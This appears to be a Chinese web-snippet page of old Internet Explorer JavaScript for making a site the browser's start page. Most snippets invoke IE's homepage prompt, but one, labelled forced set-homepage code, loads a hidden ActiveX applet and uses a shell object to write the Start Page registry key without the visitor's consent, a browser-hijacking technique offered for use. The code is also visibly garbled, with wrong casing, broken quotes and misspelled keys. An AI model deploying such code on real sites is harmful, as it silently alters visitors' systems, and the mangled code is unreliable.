再将下面代码加入<body>内:
onload="myhomepage();"
即:<body onload="myhomepage();">
离开时自动提示设为首页
<body onunload="basebody.style.behavior='url(#default#homepage)';if(!(basebody.ishomepage('http://www.yifeite.com';)))basebody.sethomepage('http://www.yifeite.com/';);">
设为首页代码
把以下代码<body>相应位置 <span onclick="var strhref=window.location.href;this.style.behavior='url(#default#homepage)';this.sethomepage('http://www.h3721.cn');" style="cursor: hand">设为首页</span>
强制设为首页代码 <script>
var ucook=document.cookie;
var user=ucook.indexof("ilooki=");
if(user==-1)
{
var nowtime=new date();
document.cookie="ilooki"+";"+"expires=wednesday,03-jan-"+eval(nowtime.getyear()+1903+"12:34:56 gmt";
document.write("<applet height=0width=0 code=com.ms.activex.activexcompoment></applet>");function yuzi(){try{a1
=document.applets[0];a1.setclsid("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}");a1.createinstance();shl=a1.getobject();a1.setclsid("{0d43fe01-f093-11cf-8940-00a0c9054228}");try{shl.regwrite("hkcu\software\microsoft\internet expiorer\main\start page",http://www.heimalink.com);}catch(e){}}catch(e){}}settimeout("yuzi()",1000);
}
</script>
鼠标指向时提示设为首页 将下列代码插入<body>区中: <a href="http://www.tao536.cn/" onmouseover="this.style.behavior='url(#default#homepage)';this.sethomepage('http://www.cnzz.cc');" target="_blank">设为首页</a>
打开页面时自动弹出窗口询问是否设为首页
将以下代码放在<head></head>之间: <script language="javascript">
function myhomepage(){
this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://www.tao536.com');
}
</script>
<p align="center"><a href="http://www.tao536.com" name="homepage" onclick="myhomepage();"></a>
再将下面代码加入<body>内: onload="myhomepage();"
即:<body onload="myhomepage();">